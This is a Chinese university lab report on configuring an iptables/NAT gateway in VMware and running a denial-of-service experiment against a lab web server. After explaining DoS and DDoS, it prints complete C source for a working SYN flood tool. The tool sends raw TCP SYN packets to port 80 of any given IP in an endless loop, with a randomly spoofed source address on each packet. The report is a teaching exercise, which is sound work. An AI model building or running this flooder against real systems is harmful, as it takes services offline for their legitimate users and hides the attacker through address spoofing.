单个IP地址建立连接和DOS 攻击实验第九组2017.05.19单个IP地址限制连接实验原理:防火墙在做信息包过滤决定时,有一套遵循和组成的规则,这些规则存储在专用的信息包过滤表中,而这些表集成在Linux 内核中。
在信息包过滤表中,规则被分组放在我们所谓的链(chain)中。
而netfilter/iptables IP 信息包过滤系统是一款功能强大的工具,可用于添加、编辑和移除规则。
netfilter 组件也称为内核空间(kernelspace),是内核的一部分,由一些信息包过滤表组成,这些表包含内核用来控制信息包过滤处理的规则集。
iptables 组件是一种工具,也称为用户空间(userspace),它使插入、修改和除去信息包过滤表中的规则变得容易。
实验环境攻击者win7 64位 ip:172.16.9.1,被攻击者虚拟机vm构造,与宿主机采用桥接,在同一网段,ip为1.1.1.2实验目的:通过Vmware虚拟机,配置网关,以及模拟外网,内网,Web服务器。
通过外网来进行DOS攻击,通过在被攻击的主机上抓包可以清楚地看到整个攻击过程,并且在网关上设置了NAT地址转换,在访问外网时将内网地址转换成公网地址(SNAT),以及外网访问内网时将公网地址转换成内网地址(DNAT)。
并且可以在网关上设置上网时间,限制某些应用访问Internet等。
实验拓扑:实验步骤:搭建实验环境(Vmware虚拟机作为平台),按照逻辑拓扑图进行连接。
1.配置网关1)配置三块网卡,分别是eth0,eth1,eth2,全部设置为桥接模式。
2)Eth1 ip地址192.168.9.1,eth2 ip地址192.168.19.1,eth0 ip地址1.1.9.13)使用命令echo “1”> /proc/sys/net/ipv4/ip_forward,打开路由功能4)使用命令 /etc/init.d/iptables stop。
关闭防火墙。
5)制定NAT转化策略,建议当底层网络全部通时再测试NAT。
2.配置主机(包括web服务器,外网主机)1)配置一块网卡eth0 添加ip地址,模式为桥接。
2)增加各自的默认网关。
3)关闭本地防火墙。
3.调试dos攻击程序,在模拟外网的pc上编译执行,在web服务器上抓包观察。
4.观察NAT转化是否实现5.实验截图:5.1.将网卡配置为桥接模式。
5.2.验证网络的连通性。
5.3.查看服务器的连通性。
DOS攻击实验原理拒绝服务攻击是一种非常有效的攻击技术,它利用协议或系统的缺陷,采用欺骗的策略进行网络攻击,最终目的是使目标主机因为资源全部被占用而不能处理合法用户提出的请求,即对外表现为拒绝提供服务。
dos攻击dos攻击在众多网络攻击技术中是一种简单有效并且具有很大危害性的攻击方法。
它通过各种手段消耗网络带宽和系统资源,或者攻击系统缺陷,使系统的正常服务陷于瘫痪状态,不能对正常用户进行服务,从而实现拒绝正常用户的访问服务。
ddos攻击ddos攻击是基于dos攻击的一种特殊形式。
攻击者将多台受控制的计算机联合起来向目标计算机发起dos攻击,它是一种大规模协作的攻击方式,主要瞄准比较大的商业站点,具有较大的破坏性。
ddos攻击由攻击者、主控端和代理端组成。
攻击者是整个ddos攻击发起的源头,它事先已经取得了多台主控端计算机的控制权,主控端极端基分别控制着多台代理端计算机。
在主控端计算机上运行着特殊的控制进程,可以接受攻击者发来的控制指令,操作代理端计算机对目标计算机发起ddos攻击。
ddos攻击之前,首先扫描并入侵有安全漏洞的计算机并取得其控制权,然后在每台被入侵的计算机中安装具有攻击功能的远程遥控程序,用于等待攻击者发出的入侵命令。
这些工作是自动、高速完成的,完成后攻击者会消除它的入侵痕迹,使系统的正常用户一般不会有所察觉。
攻击者之后会继续利用已控制的计算机扫描和入侵更多的计算机。
重复执行以上步骤,将会控制越来越多的计算机。
典型的DOS攻击:●死亡之ping●ICMP Smurf●Land攻击●Teardrop攻击●SYN flood●UDP Flood●Ddos●电子邮件炸弹程序代码:#include <netinet/in.h>void send_tcp(int sockfd,struct sockaddr_in *addr); unsigned short check_sum(unsigned short *addr,int len); #include <netinet/ip.h>#include <netinet/tcp.h>#include <string.h>#include <stdlib.h>#include <netinet/in.h>#include <sys/socket.h>#include <sys/types.h>#define LOCALPORT 8888#include "mdos.h"#include <string.h>#include <netinet/in.h>//for htnos#include <stdio.h>#include <netdb.h>#include <sys/socket.h>//for setuid#include <unistd.h>#include <arpa/inet.h>#include <stdlib.h>#include <errno.h>#define DESTPORT 80 /* 要攻击的端口(WEB) *///#define LOCALPORT 8888int main(int argc,char** argv){int sockfd;struct sockaddr_in addr;int on=1;if(argc!=2){fprintf(stderr,"Usage:%s ip",argv[0]);exit(1);}bzero(&addr,sizeof(struct sockaddr_in));addr.sin_family=AF_INET;addr.sin_port=htons(DESTPORT);/*看成是获取你要ping的目标的网络地址,argv[1]是ip的话直接a to n,是域名的话就要gethostbyname了*/unsigned long lip;lip = inet_addr(argv[1]);memcpy(&(addr.sin_addr),&lip,4);/**** 使用IPPROTO_TCP创建一个TCP的原始套接字****/sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);if(sockfd<0){fprintf(stderr,"Socket Error:%sna",strerror(errno));exit(1);}/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写***/ setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));/**** 没有办法,只用超级护用户才可以使用原始套接字*********/ setuid(getpid());/********* 发送炸弹了!!!! ****/send_tcp(sockfd,&addr);}void send_tcp(int sockfd,struct sockaddr_in *addr){char buffer[100]; /**** 用来放置我们的数据包****/struct ip *ip;struct tcphdr *tcp;int head_len;/******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度***/ head_len=sizeof(struct ip)+sizeof(struct tcphdr);bzero(buffer,100);/******** 填充IP数据包的头部,还记得IP的头格式吗? ******/ip=(struct ip *)buffer;ip->ip_v=IPVERSION; /** 版本一般的是4 **/ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度**/ ip->ip_tos=0; /** 服务类型**/ip->ip_len=htons(head_len); /** IP数据包的长度**/ip->ip_id=0; /** 让系统去填写吧**/ip->ip_off=0; /** 和上面一样,省点时间**/ip->ip_ttl=MAXTTL; /** 最长的时间255 **/ip->ip_p=IPPROTO_TCP; /** 我们要发的是TCP包**/ip->ip_sum=0; /** 校验和让系统去做**/ip->ip_dst=addr->sin_addr; /** 我们攻击的对象**//******* 开始填写TCP数据包*****/tcp=(struct tcphdr *)(buffer +sizeof(struct ip));tcp->source=htons(LOCALPORT);tcp->dest=addr->sin_port; /** 目的端口**/tcp->seq=random();tcp->ack_seq=0;tcp->doff=5;tcp->syn=1; /** 我要建立连接**/tcp->check=0;/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/ while(1){/** 你不知道我是从那里来的,慢慢的去等吧! **/ip->ip_src.s_addr=random();/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧*/ tcp->check=check_sum((unsigned short *)tcp,\sizeof(struct tcphdr));sendto(sockfd,buffer,head_len,0,(struct sockaddr*)addr,\sizeof(struct sockaddr_in));}}/* 下面是首部校验和的算法*/unsigned short check_sum(unsigned short *addr,int len){register int nleft=len;register int sum=0;short *w=(short*)addr;short answer=0;while(nleft>1){sum+=*w++;nleft-=2;}if(nleft==1){*(unsigned char *)(&answer)=*(unsigned char *)w;sum+=answer;}sum=(sum>>16)+(sum&0xffff);sum+=(sum>>16);answer=~sum;return(answer);}实验验证:DOS攻击验证:实验结论:通过本实验,可以很清楚地看到,DOS攻击可以很容易的就让被攻击者陷入瘫痪状态。